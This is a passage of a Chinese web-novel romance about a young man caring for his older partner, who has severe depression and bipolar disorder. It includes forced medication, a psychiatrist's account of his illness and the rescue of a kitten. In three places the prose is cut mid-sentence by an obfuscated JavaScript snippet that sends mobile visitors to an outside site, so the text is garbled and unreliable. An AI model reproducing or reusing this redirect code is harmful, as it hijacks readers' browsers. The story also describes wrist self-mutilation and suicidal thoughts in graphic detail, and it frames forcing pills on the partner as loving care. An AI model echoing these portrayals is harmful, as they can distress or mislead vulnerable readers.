赵明庭缄默不言,垂下眼睛看向了一边,宋景初轻笑了一声,稍稍加大了几分力度,赵明庭瞬间疼出了眼泪,红着眼睛道:“好了我答应你,快点放手!” 宋景初松开手,双手捧着赵明庭的脸替他轻揉。 “看你这副样子,说什么好好配合治疗的话也是在哄我吧?”宋景初一脸看穿一切的表情盯着赵明庭,赵明庭心虚地看向了一旁,喃喃道:“我没有。” “那样最好,你之前是怎么配合治疗的我管不了,但现在我在你身边,你知道该怎么做。”宋景初放开手,轻轻摸了摸赵明庭的头:“你乖一点,配合治疗,才早点好起来。” 赵明庭闻言瞬间害羞红了脸,一闪身匆匆忙忙地钻进了被子中。 * 让赵明庭配合治疗,着实是一件非常困难的事,据阿水所讲,就连脾气好得出奇的哲森也因为给赵明庭喂药而破防过很多次。 一开始宋景初还不怎么相信,认为阿水说得实在太夸张了,看赵明庭那副模样,不像是那么倔强的人,还放言说有他在,赵明庭绝对不可能漏下一顿药,直到赵明庭断药期结束的第一天早上要吃药的时候,宋景初才彻底理解了哲森为什么会破防。 早上起床,宋景初趁着赵明庭脑子还没反应过来,一鼓作气将药塞进他嘴里,然后赶紧喂水,本以为赵明庭会顺其自然地喝水,将药咽下去,没想到他刚尝到药片的味道就瞬间惊醒,紧皱眉头撑起身子,将药片吐在手心中,径直扔到了房间角落。 “出去。”赵明庭紧闭双眼,脸上挂着一副痛苦至极的表情,狠狠地干呕了几下。 宋景初心疼地看着他,却也无能为力,他提前尝过那种药片,又滑又腻,还带着一股浓烈的腥臭和苦咸,的确恶心极了,这种药赵明庭每天都要吃两片,宋景初只是尝了一片的四分之一,现在嘴里还有那股恶心的味道,手也有些微微颤抖,难以想象赵明庭吃完两片之后会有多难受。 “真的不能换种药吗?”宋景初蹲在门外给阿水打电话:“这药实在太恶心了。” “精神类药物无论是所用种类还是剂量都是根据他的检查报告严格制定的,怎么能说改就改?”阿水疾声厉色道:“而且一旦开始服药,绝对不允许停药,就算停一顿也不行,否则很有可能导致前功尽弃,严重些甚至会导致他病情反扑。” “那除了吃药,真的没有其他治疗手段了吗?” “任何手段都只能起单一作用,要想治疗,只能各种手段组合使用,药必须得吃,手术也必须得做,不过做手术都是之后的事,要具体看他情况如何,现阶段他只要按时按量服药就够了。” “好,我明白了。”宋景初叹了口气,捏紧了手中的药瓶,像是下定了某种决定。 挂断电话之后,他起身进了门,看着床上一脸阴郁的赵明庭,不由分说地就上前将人压在了身下。 “宋景初,我不想吃药。”赵明庭被紧紧压制着,红着眼睛,几乎快要落下眼泪,他几乎有些崩溃,却还在极力地维持着往日的稳重。 “我没有病,景初,我不是精神病,我不想吃药。” “我知道,你不是。”宋景初嘴上应和着,手却利索地打开了药瓶,往自己手心里倒了两颗药片,紧接着便不顾赵明庭的剧烈挣扎,强行捏着赵明庭的下巴将药片塞了进去,随后快速拿起一旁床头柜上的水喂给了赵明庭。 药片接触到水的一瞬间,一股强烈的苦腥味,混杂着诡异的酸臭爆炸开来弥漫在口腔里,赵明庭艰难地咽下药片之后猛灌了大半瓶水,还是止不住地恶心,趴在宋景初怀里狠狠地干呕了一阵,连生理性泪水都飙了出来,宋景初一下又一下拍着赵明庭的背,企图安抚他,然而赵明庭呕得昏天暗地,连形象都顾不上了,胃里一阵一阵地犯恶心,到最后还是没忍住,吐了宋景初一身酸水。 吐完之后赵明庭就哭了,是真的流下了眼泪,宋景初看得出来这次不是伪装。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442904|169378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是在他面前装柔弱卖可怜,是真的被药片恶心到哭了,同时还掺杂着在爱人面前失态的羞赧和难堪。 宋景初什么也没说,平静地起身,出门,火速换了个衣服,前后时间间隔不到两分钟,回到卧室的时候,赵明庭还在哭,眼泪大颗大颗地,止不住地滚落,宋景初将人抱在自己怀里,高挺的鼻子蹭了蹭他的颈窝。 赵明庭低下头,过了很久才停止哭泣,缓了一阵,他抬头望着宋景初的双眼,难过地说:“景初,对不起。” “不要和我道歉,你没有做错任何事。”宋景初从床头的柜子里抽了一张湿纸巾,细细地将赵明庭的脸擦干净,也一点一点抚平了他受伤的情绪,赵明庭又有点儿想哭,却有些后知后觉地害羞,他推开宋景初的手,轻声道:“我不是小孩子,没必要这样。” “可你是我爱的人。”宋景初一笑,将他的手扣住,拉在身前亲亲一吻:“被照顾不是小孩子的特权。” “可是,可是我……” “可是什么?” “我……” 害羞。 赵明庭没有明着说,但逐渐泛红的双颊却出卖了他的一切。 宋景初将一切尽收眼底,却没有挑明,他将人再次抱进怀中,轻声哄道:“不用在意那么多,有我在呢,你什么都不用担心。” “可是你终究要回去。” 要回到学校里继续完成学业,要回到家人身边陪伴家人。 赵明庭心想,他只不过是一个名义上的,严格来说甚至都算不上名义亲戚的陌生人,他又凭什么能留住宋景初。 没了平日里的伪装,他不过就是一个彻头彻尾的精神病,宋景初不会爱一个疯子,他爱的是那个温柔的自己,不是现在这个濒临崩溃的疯子。 他想,没有人会喜欢一个精神病人的,这个世界上不可能会有人能忍受得了他反复无常的情绪,歇斯底里的怒吼和诡异无踪的行为,也不可能会有人能够接受真正的他,所有人爱的都不过只是他的表象,爱的都是他演出来的最虚假的模样,可是他是人,也会有演累了的那一天,也会感到疲倦。 他活的太过痛苦,每一分,每一秒,甚至于每一次呼吸都痛苦至极,好不容易生命中出现了一个能勾起他兴趣,让他第一次见到就一眼爱上的人,现在的他却也无力再去想尽办法抓住那人的心。 他想,他迟早都会离开,时间对于他来说是倒数的沙漏,他的生命每分每秒都在随时间的变化而流逝,把自己的一生交给某个人,这件事对于他来说实在太过沉重了,他做不到,也不想去做,因为他知道亲人的离去究竟有多么痛苦,不是一瞬间的撕心裂肺,而是一生的阴雨连绵,永远都停留在离开的那一天,再也无法走出。 他不想这么残忍地对待宋景初,真正开始心动之后,他才发觉自己情愿此生都未曾与他相见过,也不愿看他为自己掉一滴眼泪,他比宋景初爱上的并不迟多久,同样的惊鸿一瞥,同样的一见倾心,然而现在的他却只想逃离,想彻底离开宋景初的世界,却又留恋他的怀抱,紧紧抓着不愿松手。 救救我吧,宋景初。 他紧紧地抓住宋景初的衣角,像是抓住了最后一根救命稻草。 求求你,救救我。 8. 第 8 章 宋景初看不出赵明庭心里究竟在想些什么,却能敏锐地察觉到他似乎有点儿想要推开自己了。 不停地强调自己的病症多么严重,却又故意说出让自己同情的话语,想让自己紧紧抓住。 他似乎明白了赵明庭内心也在挣扎,想要放开双手,却又不舍这份诚挚的真心,于是夹在中间忍受着双倍的痛苦。 宋景初也不知道自己该怎么做,他只知道现在的赵明庭需要一个人献出自己的一切去爱他,他甘愿做那个人,即使最后他什么也得不到,也依旧心甘情愿。 他说:“我不会离开你,永远也不会。 “只要你愿意,我可以一辈子都呆在你身边,只要你别再推开我。” 无论你什么时候回头看,我都会站在你身后。 赵明庭笑了,笑得很轻,却像是用尽了全部的力气,他已经疲惫至极,实在没有力气去回应了,也许对他来说,让他们的人生重新回到各自的轨迹才是正确的事,然而他却无论如何都舍不得推开宋景初的怀抱。 “别怕,有我在。”宋景初一遍又一遍地安慰他:“我有在你身边,你什么都不用担心,会好起来的,别怕。” 宋景初一直哄一直哄,直到赵明庭因为药效的作用在自己怀中昏昏沉沉地睡了过去,他将人放回床上,替赵明庭掖好被子,伸手探了探他额头的温度,又探了探自己的,确认赵明庭没有发烧才总算是松了一口气。 药物作用实在是过于强效,从吃下去到昏睡,不过间隔了十几分钟,阿水到主宅卧室的时候,宋景初正坐在赵明庭床边默默掉眼泪,见阿水来了,他匆忙抹了把脸,故作轻松笑道:“喂过药了,其实他也没有想象中的那么难对付。” “你先把眼泪擦干净再和我说话。”阿水早就知道宋景初肯定会心疼舍不得,原本都打算过来亲自上阵了,没想到这顿药还真让宋景初喂了下去。 “我就是刚才风吹了一下,眼睛迷了。”宋景初尴尬地抹干净眼泪,起身道:“你来的正好,帮我照看一下他,我下楼取个作业。” “好,你去拿吧,不必担心。” 宋景初点了点头,云淡风轻地转身,刚出了门就忍不住蹲在地上哭出了声。 * 这几天阿水和他讲了很多关于赵明庭的事,桩桩件件都像一颗钉子一样狠狠地钉在了他的心上,让他心痛到无法呼吸。 深夜的凉亭里,阿水坐在石凳上,手里拿着一只巴掌大的毛绒小熊把玩着。 “我和赵先生已经认识了快有十四年,如果不是我主动坦白的话,你一定看不出来我的年龄吧?” 坐在对面的宋景初试探性地猜测道:“三十岁?” “不对哦。”阿水笑了笑:“今年我已经三十八岁了。” “完全看不出来啊,我以为你顶多和我小叔是一个年纪呢!”宋景初惊叹出声,毕竟初次见到阿水的时候,他就被对方活泼跳脱的性格所吸引,再加上阿水是很典型的东方美人,长相大气,保养得当,即使已经三十八岁,依然看不出岁月在她脸上留下的痕迹,全然看不出来对方居然和他母亲是同一辈的,果然是心态决定年龄。 “我第一次见你小叔的时候他才十四岁,但那时候的我都已经从业一年了。”阿水骄傲地告诉宋景初,自己成绩优异,连跳了好几级,提前博士毕业,成为了一家贵族私立医院的精神科医生,遇见的第一个病人就是赵明庭。 “当时赵先生只有这么高。”阿水在自己面前大概比了比:“也就一米六吧,小小的一只,明明很可爱,却总是冷着一张脸。” 宋景初脑海里想了一下,点了点头,极为认可:“确实很可爱,对了,你是明庭的唯一一个主治医生吗?” 阿水摇了摇头:“并不是,他的第一个主治医生是我的导师,后来我的导师突发心脏病不幸离世,我才替导师接管了这个病人。”她叹了口气,像是想起了很不好的事情:“起初我以为一个小孩精神状态再差能差到哪儿去,于是就自信地将他接管到我的手下,可是调完资料之后,我就后悔从导师那里接手了。” 气氛一时间变得有些沉重,阿水顿了顿,忽然反问道:“你见过手筋长什么样吗?” 漆黑的夜里,宋景初忽然无缘故地打了个寒颤,他沉默地摇了摇头,道:“没见过。” “我见过,我第一次见到人的手筋被挑出来的图片,就是在赵先生的医疗档案里,白色的肌腱黏连着肉,手腕处一片血肉模糊。”阿水回忆道:“那时候,赵先生病情非常严重,甚至出现了幻觉,总觉得自己手腕里藏着什么东西,于是就用小刀割开了皮肤,将手腕处皮层下的肌腱用小刀挑了出来,索性发现的及时,送到医院里第一时间就进行了抢救,最终才捡回来了一条命,但是他的神经还是受到了损伤,左手常常会忽然没有力气。” 宋景初回想了一下赵明庭手上那些可怕的伤口,心脏狠狠抽痛了一下。 “难怪他推不开我,我还一直以为是他力气小。”宋景初有些哽咽,皱紧了眉头,追问阿水道:“那他手腕上的那些增生呢?那又是怎么回事?” “重度抑郁症患者经常会因为感到自己无用而产生严重的自毁倾向,他手上的疤浅一些的是他发病的时候自己用指甲划开的,深一些,已经长了增生的就是他用刀自己割开的,最深的一道甚至割到了动脉,差点儿割破。” “怎么会这样?!”宋景初一时间竟然有些无言以对,沉默了很久,他才质问道:“他在国外不是有那个管家照顾他吗?为什么还能让他找到自杀的机会?” 阿水同情地看着宋景初道:“我知道你很难过,但当时他们刚到英国,人生地不熟,哲森要做的事情非常多,并且极其繁琐复杂,一时间照看不当也是人之常情,并且赵先生又极度排斥陌生人,导致我也无法住家观察。” “那为什么就不能把他送到医院去住院?” “他死活都不愿意去医院。”阿水将小熊递给宋景初,垂下了眼眸道:“他很害怕吃药打针,也害怕医院,我想这可能和他的父母相继离世有很大的关系,所以才导致他如此讳疾忌医。” 宋景初忽然听不懂了:“这有什么必然的联系吗?” 阿水点头,认真阐释道:“这是一种条件反射式恐惧,即使当时的他没有记忆,在之后的成长中,他也会因为周围人的叙述而对医院形成一种条件反射式关联,母亲死在了医院,父亲在赶来医院的途中不幸去世,医院这个词对他而言,自然就能轻易让他联想到无助和恐慌,以及死亡。 “同时这也是一种回避心理,赵先生之所以病得如此严重,就是因为他一直认为自己是灾星,觉得是自己的降生才给父母带来了厄运,医院会很容易激发起他父母是如何离去的回忆,导致他陷入悲伤内疚的情绪。 “所以我的导师第一次接触过他之后,就一直坚持上门替他治疗,后来的我也一样,接触次数多了以后,他不再抗拒我的治疗了,我也就索性搬到了庄园里,成为了他的私人医生,并跟随他回了国。” 宋景初听完之后,不由得捏紧了小熊,他沉声道:“为什么会这么严重?他被我爷爷收养,和我爸爸妈妈,还有姨父姨母生活在一起,怎么还能变成这个样子?他到底是什么时候开始变得这么严重的?” “根据我导师记录下来的病案来看,他第一次就诊是在六岁的时候,当时的他还只是整天闷闷不乐,经常会不高兴,短短两年之后,就已经发展到了开始有自残自伤的行为,等我接手他的时候,他已经开始有了严重的自杀念头,之前的时候考虑到他年龄过小,我的导师就给他开了最小剂量,并且每周安排一次心理辅导,到了我手里之后,我开始给他加大剂量,逐步控制他的情绪稳定。” 宋景初不解:“然后呢?十四年过去了,吃了这么久的药,每周还有心理辅导,为什么还是没有治好?他每天都不开心吗?为什么不开心?” “重度抑郁症属于精神疾病,治疗难度大,复发率高,它不是简单的心情不好,而是会伴随着心慌,手抖,失眠早醒,情绪低落,幻觉,妄想,自杀意念等一系列的躯体化症状,人们对抑郁病人最大的误解就是认为他们只是心情不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442905|169378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只要心情好起来,放下一切就理所当然地会被治愈,实则不然。 “他们的心情低落是因为生病,受脑部功能异常影响,并不是矫情。”阿水深深地叹了口气:“他们很痛苦,无论是心理上还是身体上,都在承受着巨大的痛苦,却常常会被人误解为无病呻吟,这才是对于患者来说最可怕的事。” 宋景初闻言,心道自己曾经也一直认为抑郁症就是单纯的心情不好,可没想到患者居然承受着如此大的痛苦。 末了,他回想着第一次见到赵明庭的样子,又不禁问道:“可是我第一次见到他的时候,他明明心情很好,看起来完全不像生病了的样子,也不符合你所说的症状啊。” “这一点我之前和你讲过,他的重度抑郁已经发展成了双相情感障碍,你所看见的他心情很好,是因为他处于轻躁狂期,这其实是疾病的表现。”阿水道:“说到这儿,我得告诉你一些注意事项,双相病人躁期会极度兴奋,激动,易怒,思维奔逸,说话夸张,行为冲动,郁期则是同重度抑郁的情况基本相同,无论是躁期也好,郁期也罢,都还能控制得住,最怕的就是他躁期和郁期混合,同时发作……” 宋景初皱着眉头:“会怎样?” “郁期想自杀,躁期行动力超强,同时发作的时候,短时间内自杀成功的概率将会大幅提高。” 宋景初瞬间倒吸了一口凉气,他迫切道:“那要怎么治疗?能治好吗?” “吃药,心理辅导,手术,三管齐下,可以控制,但目前尚无任何方法完全根治,只能最大程度降低他的自杀风险,稳定情绪,减少他的发作频率。” “那这跟绝症有什么区别?” 宋景初眼泪差点儿就要掉下来了,刚准备发作,却又被阿水一句话硬憋了回去。 “没有那么夸张,双相只是需要终生管理治疗,积极配合治疗,病情是不会加重的,而且对于大脑的损伤也会变得可控。” “大脑?”宋景初的心再次提起,小心翼翼地问:“大脑,会受什么样的损伤?” “记忆力减退,反应迟钝,情绪波动大,作息混乱。” “这么严重……” 宋景初难以想象,赵明庭居然独自承受了这么多,在病情如此严重的情况下还能完成学业,创立公司,有如今的成就。 阿水道:“是啊,所以赵先生真的是一个非常坚强的人,他能有如此成就,一方面是他自身素质过硬,另一方面也离不开哲森日夜不离的照顾,现在哲森离开了,照顾他的重担,落在了江夏的身上,但江夏还没有太多的经验,他也不像你一样能离赵先生那么近,所以要劳烦你多费心照顾,再将经验传授给江夏,辛苦你了,一边要完成学业,一边还要照顾病人。” “说什么辛苦,这都是我本来就该做的事。”宋景初哽了哽,郑重地抬头说道:“我喜欢他,无论他是怎么样的我都全盘接受,我知道我要做的不是用爱感化他,而是帮助他积极配合治疗,早日能够稳定下来,阿水医生,你放心吧,这些我都懂。” “你是一个很好的孩子。”阿水欣慰地点点头:“赵先生很幸运,能有你陪在他身边。” “不,幸运的人是我。” 宋景初闻言,眉眼不自觉地柔和了下来,语气也稍稍放轻了些:“能遇见他,是我今生最幸运的事。” 阿水起身走到宋景初身旁,温柔地拍了拍他的肩:“理想很丰满,现实很残酷,赵先生是我研究照顾了十四年的病人,某种程度上,我比你更了解他,现在的你,年龄实在太小,不明白一生的承诺于他而言究竟有多沉重,所以请你先放下那份对他的爱慕,先专心陪在他身边帮助他积极面对治疗,我相信,在治疗过程中,你一定会明白我今天所说的这些话究竟有什么含义,等你真正能理解这些话的时候,再去和他平等地坐在一起谈论情感问题,我希望,到那时候,你还能坚定地告诉我,你会照顾他一生一世,即使到最后你什么都得不到,也在所不惜。” 宋景初怔怔地看着阿水,好半晌才低声道:“我知道了,谢谢阿水医生。” 9.第 9 章 人世变化无常,就像赵明庭的心情,永远不知道下一秒是喜极而泣还是悲痛欲绝,话虽听着夸张,然而事实却就是如此。 宋景初整理好心情,回到卧室的时候,阿水正在给他量血压。 宋景初凑了上去,看了一眼显示器,表情瞬间就凝重了起来。 “高压70,低压50?为什么这么低?” “精神类药物有镇定作用,血压会降下来是正常的,等药物浓度降下来之后血压就会恢复正常了,不用大惊小怪,让他多注意休息就行。” “那他怎么工作?”宋景初看着床头的笔电,叹了口气道:“他这么要强的一个人,因为这个病,连工作都没办法好好做。” “不用担心,集团的管理层不是吃干饭的。”阿水拍拍宋景初的肩膀安慰道:“照顾好他就行。” “好吧。”宋景初坐在床沿,轻轻握住了赵明庭的手,冰冰凉凉的,像质感很好的丝绸:“我会照顾好他。” “那我就先走了,我还有很多工作没处理完。” “嗯,注意安全。” 送走阿水之后,宋景初就坐在一旁的沙发上写起了作业,赵明庭在睡梦之中偶尔会发出一两声难过的呻吟,每次都惊得宋景初匆忙放下笔上前查看情况,确认赵明庭安然无恙之后,他才能放下心。 下午的时候,赵明庭终于醒了,呆愣地坐在床上发呆。 每年的春秋冬季都是他病情高发的时期,一般这个时候他会提前交代好一切工作,然后回家休息很久,今年回到了中国,没有了琐事傍身,反而让他有些不自在。 他盯着天花板,默默地出了神。 忽然,手上传来一阵温热的感觉,他转头,是宋景初握住了他的手,正在替他轻轻地揉着。 “景初。”赵明庭有些愧疚。 他还记得不知道什么时候他吐了宋景初一身,他的记忆不是很好,对时间的感知力也在不停地下降,昨天发生的事对于他来说就像是上辈子发生过的,每每想到这些,总有一种恍如隔世的感觉。 就好像,快乐于他而言,已经是上辈子发生过的事情一样。 宋景初将他揽进怀中,轻声问他饿不饿,他摇头,这会儿刚醒来,脑袋还是昏昏沉沉的,有点儿恶心得慌。 宋景初点了点头:“没关系,需要再休息一会儿吗?” 赵明庭摇了摇头,他什么也不想做,没力气,没兴趣,不想动。 药物的作用让他的大脑变得极其迟缓,稍微思考一下就会卡壳,他已经受够这种感觉了,然而却总是无能为力,无论如何也摆脱不掉这种感觉。 宋景初温柔询问道:“那我们出去散步,好不好?” 赵明庭摇头。 “明庭,求你了,今天天气很好,我们出去看看吧,我来了这么久,你还没带我参观过园子呢。” 宋景初一双眼睛滴溜圆,泪眼汪汪地看着赵明庭,大有今天赵明庭不答应他就不走的势头。 赵明庭看着他那副可怜巴巴的模样,莫名就想起了小奶猫的样子,软萌软萌的,小小的一只,会撒娇打滚,会耍无赖,永远都不会讲道理,只要开心就好。 不,小奶猫才没有这么大一只,这分明就是一只赶不走还黏人的金毛。 赵明庭无奈叹了口气,点了点头:“等我换身衣服,可以吗?” “我就知道你对我最好了!” 宋景初起身,亲了亲赵明庭的额头:“我在门外等你。” “好。” 宋景初离开之后,赵明庭坐在床上小小地发了一会儿呆,过了一会儿才像是忽然想起来要和宋景初出门玩一样,急忙起身从柜子里翻出一套冬装,三两下套在了自己的身上,出了卧室门的时候,宋景初已经换好了衣服,身上背着一个斜挎包,里面装着水杯和赵明庭的药,还有一些糖果,防止赵明庭低血糖。 赵明庭不知为何,心里像是忽然绽开了一朵花,在寒冷的冬日里格外耀眼,比今日的阳光还要灿烂。 也许哲森说的是对的,他确实孤单了太久,身边也应该有个人陪伴着他了。 但宋景初是不是最好的那个人选,他根本不知道,也不想知道,他害怕知道了以后符合自己的一切期待,他会舍不得放宋景初离开。 那个人太过温暖,也太过耀眼,不讲道理,蛮横地闯入了他的世界,强行在他洁白的墙壁上涂上了各种各样丰富的色彩。 可他终究会像雪花一样,悄无声息地降临,然后悄无声息地离开。 这是他逃不过的宿命,他从出生起就明白这个道理,所以死亡于他而言已经是常事,并不会让他的心再有任何波澜。 宋景初轻轻握住了赵明庭的手,又轻轻地捏了捏,赵明庭回过神来,眨了眨眼睛,一脸无辜道:“你为什么捏我?” 宋景初稍稍俯下身,和他平齐,直视着他的双眼道:“发呆在想谁呢?想我吗?” 赵明庭瞬间红了脸,转过身道:“别胡说,我没有。” “那你脸红什么?” “家里,太,太热了。” 赵明庭拽住宋景初的袖子道:“走吧别呆在这里了,我们出去透口气!” 宋景初一笑,将人打横抱起:“好,都听你的。” 两人笑着闹着出了门,说是散步,也不过是在园子里闲逛,宋景初话多的很,一会儿问问这个,一会儿问问那个,问得赵明庭脑瓜子都嗡嗡的,像是有很多只苍蝇在乱飞。 然而不回答又不行,否则宋景初就会一遍又一遍地反复询问,直到赵明庭开口回答。 两人就这样一问一答,溜达到了园子的□□。 □□是个小花园,修了一个蝙蝠池,旁边放了座假山,池中心修了个湖心亭,两人穿过小桥上了亭子,坐下之后,却罕见地没了话讲。 宋景初脑子里也乱的很,赵明庭自然也没好到哪儿去。 诡异的寂静之中,一声猫叫忽然打破了这场沉默。 宋景初先抬起了头,目光环视了一周,都没有找到声音的源头,赵明庭也不发呆了,跟着宋景初起身去找猫,两人循着声音找了一圈,最后在假山底下发现了一只黑灰色的小猫,正颤颤微微地站立在假山石下躲避冷风的侵袭。 “这猫怎么这么小?” 宋景初径直将小猫拿起,抱在了自己怀中,赵明庭的目光瞬间被小猫吸引,从口袋里拿出了一块小手帕盖在了小猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488985|169378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上。 “他多大了?”赵明庭难得开口,今天第一次主动说话了。 宋景初拿起看了看,判断道:“我估计不是很大,胎盘已经脱落了,估计不到一个月,我看他还挺干净的,不像是流浪猫,应该是被扔掉的。” “好小。”赵明庭一时生起了怜爱之心,拽了拽宋景初的衣袖:“把他带回家吧?” “我听你的。” 怕小猫被冲风,两人也顾不上再散步休闲了,急忙抱着小猫回了家。 进了主宅之后,江夏余光瞥了一眼看见了宋景初怀里的猫,登时想起了仓库里似乎有之前佣人养猫留下的工具,于是便去取了。 等到他回来的时候,宋景初和赵明庭正将小猫放在茶桌上研究。 江夏上前,将一块厚厚的小毯子放在桌上,将小猫挪到了毯子上,又从箱子里掏出一罐还没过期的羊奶粉。 “先生,幼猫只能用羊奶粉喂养,它应该饿了很久了,先喂它吃些东西吧。” “你想的太周到了。”宋景初十分认可地点了点头:“这些是?” “之前打扫后院的佣人也养过一只幼猫,但是因为喂养不及时,幼猫没能活下来,这些东西就闲置在仓库里了。” “可怜的小生命。”赵明庭轻轻摸了摸小猫的脑袋,小猫十分受用地眯了眯眼睛,也蹭了蹭赵明庭的手。 江夏利索地将奶粉泡好,从宋景初手中接过小猫,小猫一闻到奶粉的味道,瞬间急切地叫出了声,可怜的猫儿不会吮吸,吃不到奶瓶里的奶,急得一直叫唤,江夏便换了注射器,将针头拔下之后吸了5ml的羊奶喂给了小猫。 小猫吃得很急,像是很久都没有吃过东西了一样,赵明庭看得有些揪心,眼泪不自觉地就流下来了。 还这么小就被扔到野外独自流浪,如果不是他们捡到了这只小猫,小猫能不能活的过今天还是一个问题。 这么小。 共情能力强和极度的善良也许是上天的一种惩罚,让人有心无力,很多时候都只能眼睁睁地看着美好的事物消逝。 所以一旦能抓住什么的时候,就算是倾尽一切,赵明庭也会将其死死抓在手中,无论如何也不愿意放手。 江夏喂完猫之后,就联系了宠物医院,宠物医院没过多久就上了门,将小猫接走去做全身检查。 赵明庭亲眼看着小猫进了笼子被带走后才终于放下了心,这会儿他也已经有些精疲力尽了,靠在宋景初的肩膀上,沉默地看着天花板,呼吸越来越深。 好艰难。 他想,为什么呼吸也能如此痛苦。 仿佛只有用尽全力才能将氧气吸进肺部,和细胞进行交换。 好痛苦。 这种感觉折磨了他二十八年,仿佛从出生的那一刻起他就注定会痛苦一生。 赵明庭的情绪很难察觉,就像现在,宋景初就坐在他身边,都未曾发现他已经崩溃到了极点,因为总是一副淡然的模样,所以让人看不出那副美丽的面孔之下居然藏着一颗千疮百孔的心。 赵明庭想,也许他需要的,就是一个蛮横强势的爱人,如果没人撕开他的表面,就永远也不会有人发现,其实他早已腐烂成泥。 10.第 10 章 见赵明庭很长时间没有说话,宋景初像是察觉到了什么,轻轻地握住了赵明庭的手。 “不开心吗?” 赵明庭一怔,极为不耐烦地将手抽回。 “没有,我累了。”他起身,径直就走了,将宋景初一个人丢在了原地。 宋景初不解,跟上去查看情况,却被赵明庭锁在了门外,刚准备再次将门踹开,他就听见了赵明庭平淡而又疲惫的声音。 “我就坐在门口,你要是想踹门,就连我一块儿踹飞吧,反正我早就不想活了。” “明庭,你开门好不好?有什么事可以跟我说,没关系的,我一直在,我陪在你身边呢,别怕,开门吧明庭。” 宋景初心急如焚,却又不能做些什么。 门内的赵明庭听见这话忽然就崩溃了。 他的情绪太过多变,就连他自己也猜测不到下一秒他到底会哭还是会笑。 他已经受够这种被五羟色胺管控情绪的感觉了。 连七情六欲都无法自己做主,有时候明明很开心,没有任何事情刺激到他,低落的情绪却会莫名其妙袭来,将他击得溃不成军,有时候明明已经难过到了极点,下一秒却像是忘记了一切的痛苦,忽然就开始疯狂大笑,笑到不能自已。 他知道这是由于过度痛苦,导致大脑的保护机制被激发,他就像是被困在了一场雨夜里,空旷的世界,大雨倾盆,无论跑到哪里都没有任何人任何事能替他遮风挡雨。 于是他只能在夜色之中,全身湿冷,顶着狂风和暴雨,不断地朝着一个方向往前走,尽管他不知道前方的道路是否正确,却仍旧不能停止脚步。 这是一种无法言说的痛苦,只有真正体会过的人才能感受到这种极端的无助。 上天无路,入地无门,在极度的痛苦不断压抑打击之下,心中只剩下了死念,一心求死却又被活着的人紧紧抓住。 这才是最绝望的事,人世间再无牵绊,唯有爱人无法割舍,然而却又实在痛苦,不忍自己离去之后让所爱之人悲痛。 于是只能夹在中间,求生不得,求死不能。 宋景初从未有过这些经历,自然也无法感同身受,他最多只能通过赵明庭的病情和情绪变化,以及一些支离破碎的信息来判断赵明庭的痛苦程度,其他的大部分时间,他分身乏术,一边要复习,一边要照顾病人,实在难以兼顾,难免会有没照顾得当的情况,就连哲森也没办法做到十全十美,遑论别人。 赵明庭已心存死志,放任自己的病情自由发展加重,并非他一心自生自灭,而是实在无能为力了。 他自救过那么多次,然而每次都狠狠地摔回了泥潭,他已经精疲力尽了,实在不愿再白费力气。 可偏偏身边就出现了这么一个固执的人,一心要将他拉回人间。 两人只隔着一扇门,心却越来越远。 赵明庭垂着眸,声音里带着自己都未曾察觉到的低落。 “景初,你知道吗,如果把一个冻伤的人放进热水里,他第一反应感觉到的不是温暖,而是疼。 “我说这个不是指责,我也没有那个意思,我只是说,我已经孤单了太久,不是很了解怎么和别人交流,我做的很多事都有可能伤害到你,我不想这样,真的,我不想这样对你。” 宋景初闻言,心脏抽痛了一下,他轻声回道:“你不用对我感到抱歉,不必自责,是我做的还不够好。” “景初,我不想让你看到我这副样子,这对我来说,实在是太难堪了,我真的不希望你见到我这副模样。” “没关系,我不在乎。”宋景初安慰道:“我不会在乎这些事,我只在乎你开不开心。” 宋景初有些焦急,刚想开口再说写什么,就听见门内再次传来了声音。 “景初,你走吧,回家吧。” 宋景初瞬间愣住了。 “我?你这是,在赶我走吗?” “我不是要赶走你,景初,你还有大好的前途等着你去争取,不要把时间浪费在我这种人身上。” “这不是浪费!我照顾你是我心甘情愿的,不是浪费时间!” 宋景初彻底急了,他焦急地拍着门,几乎是有些恳求似的说:“你开门好不好?明庭,一直躲在房间里是没有用的,有什么事情你讲出来好不好?我们一起沟通一起解决。” “没有必要。” 赵明庭语气冷了下来。 “你走吧,我会让江夏收拾你的东西,下午就送你回家。” “我不走!”宋景初重重一拳捣在门上,发出了一声剧烈的响动:“凭什么我要走!我就不走!” “那你留着,我走。” 